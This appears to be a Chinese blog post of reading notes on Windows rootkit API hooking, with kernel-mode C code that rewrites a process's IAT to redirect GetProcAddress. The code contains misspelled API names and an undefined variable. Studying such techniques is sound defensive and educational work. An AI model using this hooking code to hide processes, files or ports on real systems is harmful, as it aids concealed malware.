读书笔记_windows的APIHook技术

首先介绍一下rootkits,rootkits是一种高端的黑客技术,能够运行在内核态,与杀毒软件处于同一级别,很难被发现与清除。

在windows系统中,大多数的进程都依赖于3个子系统:Win32,POSIX和OS/2子系统,这些子系统包含了一组良好的说明的API,大多数的程序都依赖与这些API,因此它们都是rootkit的极佳目标。

来看一个应用程序调用FindNextFile函数的过程,FindNextFile是Kernel32.dll导出的函数,所以应用程序在运行时加载Kernel32.dll,并将这些函数的内存地址复制到自己的函数导入地址表(import Address Table,IAT)。当应用程序调用FindNextFile时,进程的执行跳转到它的IAT中的位置,从Kernel32.dll中FindNextFile函数的地址处继续执行。

然后Kernel32.dll中的FindNextFile调用到Ntdll.dll中。Ntdll.dll向EAX寄存器加载该函数的等价内核函数,即NtQueryDirectoryFile的系统服务编号,并向EDX加载该函数参数的用户空间地址。然后发送一个INT 2E或SYSENTER指令以自陷(trap)到内核中。

因为应用程序将kernel32.dll加载到自己的私有地址空间0x00010000和0x7FFE0000之间,所以rootkit只要能够访问目标进程的地址空间,它就可以直接重写kernel32.dll中或应用程序的导入表中的任何函数。这称为API钩子。在应用程序的私有地址中,可以找到FindNextFile函数的起始地址,然后使用手工编写的机器代码来重写FindNextFile函数,从而避免列出特定的文件或改变FindNextFile的性能。Rookit也可以重写目标应用程序中的导入表(IAT),使其指向自己写的函数而不是kernel32.dll中的函数。通过钩住API函数,可以完成隐藏进程,隐藏网络端口,将文件写操作重定向到其他文件,防止应用程序打开特定进程的句柄等功能。下面介绍IAT钩子:

当应用程序使用另一个库中的函数时,必须导入该函数的地址。应用程序所用的所有DLL都包含在该应用程序文件系统映像的IMAGE_IMPORT_DESCRIPTOR结构中。这个结构包含了应用程序导入的函数所属的DLL名,以及两个IMAGE_IMPORT_BY_NAME数组指针。IMGE_IMPORT_BY_NAME结构包含了应用程序所使用的导入函数的名称。

操作系统将应用程序加载到内存时,分析这些IMAGE_IMPORT_DESCRIPTOR结构,并将所需的全部DLL加载全部DLL加载到该应用程序的内存中。一旦映射了DLL之后,操作系统就在内存中定位每个导入的函数,并使用使用函数的实际地址来重写一个IMAGE_IMPORT_BY_NAME数组。一旦rootkit的钩子函数处于应用程序的地址空间中,rootkit就可以分析内存中目标应用程序的PE格式,将IAT中目标函数的地址替换为钩子函数的地址。然后,当调用目标函数时,就会执行钩子函数而不是原始函数。

无论是在内核空间还是用户空间,当一个可执行的镜像映射到虚拟内存中时,可以通过注册PsSetLoadImageNotifyRoutine这个函数来扑捉到导入的镜像文件。它的唯一一个参数是是分析镜像的回调函数。更改IAT中函数地址的过程如下:

PIMAGE_DOS_HEADER dosHeader;

PIMAGE_NT_HEADERS pNTHeader;

PIMAGE_IMPORT_DESCRIPTOR importDesc;

PIMAGE_IMPORT_BY_NAME p_ibn;

DWORD importsStartRVA;

PWORD pd_IAT, pd_INTO;

int count, index;

char *dll_name = NULL;

char *pc_dlltar = "kernel32.dll";

char *pc_fnctar = "GetProcAddress";

PMDL p_mdl;

PDWORD MappedImTable;

// 导入的是IMAGE_INFO结构中的 PVOID ImageBase变量

dosHeader = (PIMAGE_DOS_HEADER) image_addr;

// 宏,对指针的操作

pNTHeader = MakePtr ( PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew );

// 通过PE文件的Signature字段来判断该文件是否是标准的PE文件

if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE)

return STATUS_INVALID_IMAGE_FORMAT;

// 导入段的RVA

importsStartRVA = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if ( !importsStartRVA )

return STATUS_INVALID_IMAGE_FORMAT;

// 导入段的RVA与模块在内存中的起始地址(dosHeader)相加,得到

// 指向第一个IMAGE_IMPORT_DESCRIPTOR的指针

importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) (importsStartRVA + (DWORD)dosHeader);

// 过滤每个IMAGE_IMPORT_DESCRIPTOR

for(count = 0; importDesc[count].Characteristics != 0; count++)

{

// 得到导入模块的dll的名称

dll_name = (char*)(importDesc[count].Name + (DWORD)dosHeader);

// 得到IAT

pd_IAT = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].FirstThunk);

// 得到指向IMAGE_IMPORT_BY_NAME结构的指针数组

pd_INTO = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);

// IAT中的过滤,找到特定的dll与要hook的函数

for ( index = 0; pd_IAT[index] != 0; index++)

{

// if this is an import by ordinal

// the high bit is set

if((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)

{

// 得到函数名结构

p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index] + ((DWORD)dosHeader));

// 对比dll名与函数名,找到所需要的

if((_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn->Name, pc_fnctar) ==0))

{

// Use the trick you already learned to map a different

// virtual address to the same physical page so no permission problems

//

// Map the memory into our domain so we can change the

// permissions on the MDL

// 改变内存属性,以便修改IAT属性

// MDL方法修改内存属性,以后的文章中会详细介绍

p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);

if(!p_mdl)

return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(p_mdl);

// Change the flags of MDL

p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

MappedImTable = MmMapLocakedPages(p_mdl, KernelMode);

// Address of the "new function"

// 将“GetProcAddress”指向自己定义的函数

*MappedImTable = d_shareM;

// Free MDL

MmUnmapLoackedPages(MappedImTable, p_mdl);

IoFreeMdl(p_mdl);

}

}

}

return STATUS_SUCCESS;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值